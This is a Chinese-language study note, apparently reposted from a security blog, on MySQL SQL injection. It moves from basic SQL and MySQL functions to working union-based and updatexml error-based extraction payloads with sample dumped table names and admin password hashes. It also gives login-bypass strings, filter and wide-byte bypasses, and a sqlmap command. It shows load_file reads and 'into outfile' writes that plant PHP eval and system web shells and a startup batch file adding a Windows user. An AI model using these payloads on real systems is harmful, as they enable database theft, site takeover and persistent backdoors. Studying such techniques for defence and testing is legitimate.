【复盘学习笔记】SQL注入之MySQL注入
2022-11-25 00:41:24 Author: 猫因的安全(查看原文) 阅读量:11 收藏

MYSQL注入

MYSQL介绍与常规操作

  1. MySQL是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下公司。

  2. MySQL是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的关系数据库管理系统应用软件之一。

  3. MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

  4. MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。

  5. MySQL 软件采用了双授权政策,一般中小型网站的开发都选择 MySQL 作为网站数据库。

  6. MySQL 搭配 PHP 和 Apache 可组成良好的开发环境。

SQL常见语句

创建数据库
create database aabb;
删除数据库
drop database aabb;
创建新表
create admin (id int,name char(20),pass char(1));
查看数据库
show databases;
使用数据库aabb
use aabb;
查看表
show tables;
插入数据
insert into admin(id,name,pass) values (1,'admin',md5('admin'));
查询admin表中数据
select * from admin;
条件查询
select * from admin where id=1;
更新修改数据
update admin set pass=666666666 where 'admin'='admin';
删除数据
delete from admin where id=1 ;

MYSQL函数

1:system_user()           系统用户名
2:user()                 用户名
3:current_user           当前用户名
4:session_user()         连接数据库的用户名
5:database()             数据库名
select database();
6:version()               MYSQL数据库版本
7:load_file()             转成16进制或者是10进制 MYSQL读取本地文件的函数
select load_file('D:/aa.ps1');
8:@@datadir               读取数据库路径
9:@@basedir               MYSQL安装路径
select @@basedir;
10:@@version_compile_os   操作系统

MYSQL相关函数

mid()函数:从文本字段中提取字符 (从admin表中截取password从第三个开始的字段值)

select mid(password,3) from admin;  

limit():返回前几条或者中间某几行数据 (m指起始位置,n指第m+1条取n行数据)

select * from admin limit m,n;    

Count():聚集函数,统计元祖的个数

select count(*) from admin;

rand():用于产生一个0~1的随机数

select rand();

floor():向下取整

select floor(6.55);

group by:依据我们想要的规则对结果进行分组

select * from user group by host;

length():返回字符串的长度

select length('admin');

Substr():截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)

select substr(password,2,3) from admin;

Ascii():返回字符串的ascii码

select ascii(‘a’); select ascii(mid(admin,1,1)) from admin lint 1,1;

MYSQL注释

注释符:

#
--
/**/

内联注释:

/*!union*/  =union
/*!50001union*/  =union

代替空格:

+
%0a
%0D
/*ADJFKLASDF--234U23SJFD AND 1=1*/

分割语句绕过

%
/**/
%00
%01

MYSQL数据库结构与ACCESS对比

access数据库
A网站:adata.mdb
表名(admin)
列名(user,pass)

B网站:bdata.mdb
表名(admin)
列名(user,pass)

mysql
A数据库名
B数据库名
表名
列名

MySQL联合注入原理

1.判断注入漏洞
and 1=1
and 1=2

2.判断多少列,数字报错减少,正常增加
order by 10

3.union联合查询,报数字/字符列在第几列 报错看回显位置
?id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9,10
?id=-12 union select 1,2,3,4,5,6,7,8,9,10

4.在字符列上报相关信息,数据库版本信息,用户,数据库名称(十六进制转换)
?id=-13 UNION SELECT 1,database(),3,4,5,user(),7,version(),9,10

xycms 信息来源:root@localhost 作者:7 更新时间:10   5.5.40

5.指定数据库,爆数据库表名 如果库名,表名,报错就转换成16进制(转义的情况)
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema='xycms'
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x7879636d73

表名:common,config,down_fl,gbook,manage_user,menu,news,news_fl,pro_fl,xy_case,xy_download,xy_pro,xy_z

6.指定表名爆列名
union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name='manage_user'

列名:id,m_name,m_pwd,c_date

7.查询数据信息
union select 1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user
union select 1,group_concat(m_name,'=======',m_pwd),3,4,5,6,7,8,9,10 from manage_user
union select 1,group_concat(m_name,0x5c,m_pwd),3,4,5,6,7,8,9,10 from manage_user

数据:admin\4acb4bc224acbbe3c2bfdcaa39a4324e \admin321

常见的防注入代码分析

function check_sql($x){
$inject=array("select","union","from","and","or");

$i=str_replace($inject,"",$x);
return $i;
}

/* function check_sql($Sql_Str) {//自动过滤Sql的注入语句。
$check=preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$Sql_Str);
if ($check) {
echo '<script language="JavaScript">alert("系统警告:\n\n请不要尝试在参数中包含非法字符尝试注入!");</script>';
exit();
}else{
return $Sql_Str;
}
} */

绕过防注入代码

  1. 大小写/双写绕过 aandnd AND

  2. %00编码截断绕过 UNI%00ion sele%00ct

MYSQL显错注入原理

判断是否存在注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

显错注入有很多函数 常用的前三种比较多

  1. floor()

  2. extractvalue()

  3. updatexml()

  4. geometrycollection()

  5. multipoint()

  6. polygon()

  7. multipolygon()

  8. linestring()

  9. multilinestring()

  10. exp()

updatexml的显错利用

0x7e=~

查看当前数据库用户
'and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
查看当前数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

查看当前数据库名
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+ ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1)--+
group_concat语法查看当前所有数据库
' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+

XPATH syntax error: '~information_schema,74cms,bees,b'

查看MySQL数据库
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),0x7e),1)--+

以~开头的内容不是xml格式的语法=报错,但是会显示无法识别的内容是什么,这样就达到了目的。有一点需要注意,updatexml()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:
' and updatexml(1,concat(0x7e,substring(hex((select database())),1,5),0x7e),1)--+

' and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),1,5),0x7e),1)--+

查看当前数据库的表名
'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='jian' limit 0,1),0x7e),1)--+

XPATH syntax error: '~user~'

查看user表的列名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1),0x7e),1)--+

查看user表的所有列名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user' limit 0,1),0x7e),1)--+

XPATH syntax error: '~username,password,id,username,p'

列用户名密码
' and updatexml(1,concat(0x7e,(select username from user limit 0,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select password from user limit 0,1),0x7e),1)--+

绕过后台/登录框

select * from user where username='' and password=''

输入:admin'#

select * from user where username='admin'#' and password=''

输入:admin' or '1=1

select * from user where username='admin' or '1=1' and password=''

MYSQL长字节截断攻击

条件:

管理员和普通用户在一个表中

用户名字段长度有一定限制比如长度为10个字符

普通用户在注册名称的时候可以吧用户名设置为

admin+++++++++++++++++++++++++

使其长度超过字段限制的长度,会自动截断,变成admin

这样相当于增加了个admin管理员账号密码

MySQL宽字节注入

utf-8 (no)  gbk(ok)
本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。
这和 addslashes() 作用完全相同。
一共有三个魔术引号指令:
magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。
不能在运行时改变。在 PHP 中默认值为 on。参见 get_magic_quotes_gpc()。
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,
包括从数据库和文本文件,所返回的数据都会被反斜线转义。
该选项可在运行的时改变,在 PHP 中的默认值为 off。
参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。
此选项会完全覆盖 magic_quotes_gpc。
如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。
如何取得其值参见 ini_get()。

宽字节注入

使用宽字节注入绕过魔术引号
%df%27 %bf%27

sqlmap.py -u “” --risk 3 --dbms=mysql -p username --tamper unmagicquotes.py -v 3

MYSQL读写文件操作

MySQL注入读写文件

load_file()函数
该函数是用来读取源文件的函数
只能读取绝对路径的网页文件
在使用load_file()时应先找到网站绝对路径
例如:
c:/www/xx/index.php
/usr/src/apache/htdoc/index.php
注意:
1.路径符号 "\" 错误“\\”正确 “/” 正确
2.转换十六进制数,就不要‘’

获取根目录

1.报错显示
2.谷歌黑客 site:目标网站 warning
3.遗留文件 phpinfo info test php
4.漏洞爆路径
5.读取配置文件

读取网站文件内容

http://192.168.10.159:8006/showproducts.php?id=-13 union select 1,load_file('C:\\Inetpub\\wwwroot\\8006\\news.php'),3,4,5,6,7,8,9,10

union select 1,load_file(0x443A5C7068705C41504D53657276352E322E365C7777775C6874646F63735C335C636F6E6669672E706870),3,4,5,6,7,8,9,10

C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml

写入函数 into outfile

union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5,6,7,8,9,10 into outfile 'C:/Inetpub/wwwroot/8006/1.php'

其他利用
第一种方法:需要使用wamp环境搭建需要系统权限才能执行

union select 1,"net user seven 123 /add",2,3,4,5,6 into outfile 'C://Documents and Settings/Administrator/「开始」菜单/程序/启动/1.bat'

第二种方法:

union select 1,"<pre><body><? @system($_GET['cc']); ?></body></pre>",3,4,5,6,7,8,9,10 into outfile 'C:/Inetpub/wwwroot/8006/cr.php'

MYSQL注入工具使用

sqlmap使用

玄学问题

换列爆破等等


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247497052&idx=1&sn=853af0d113b178ce664172e975745ce1&chksm=c30560dbf472e9cd3684595e5d033a5b4f7ae98760219506e91c2c9a6f0cdb0c4223fc4f97cd#rd
如有侵权请联系:admin#unsafe.sh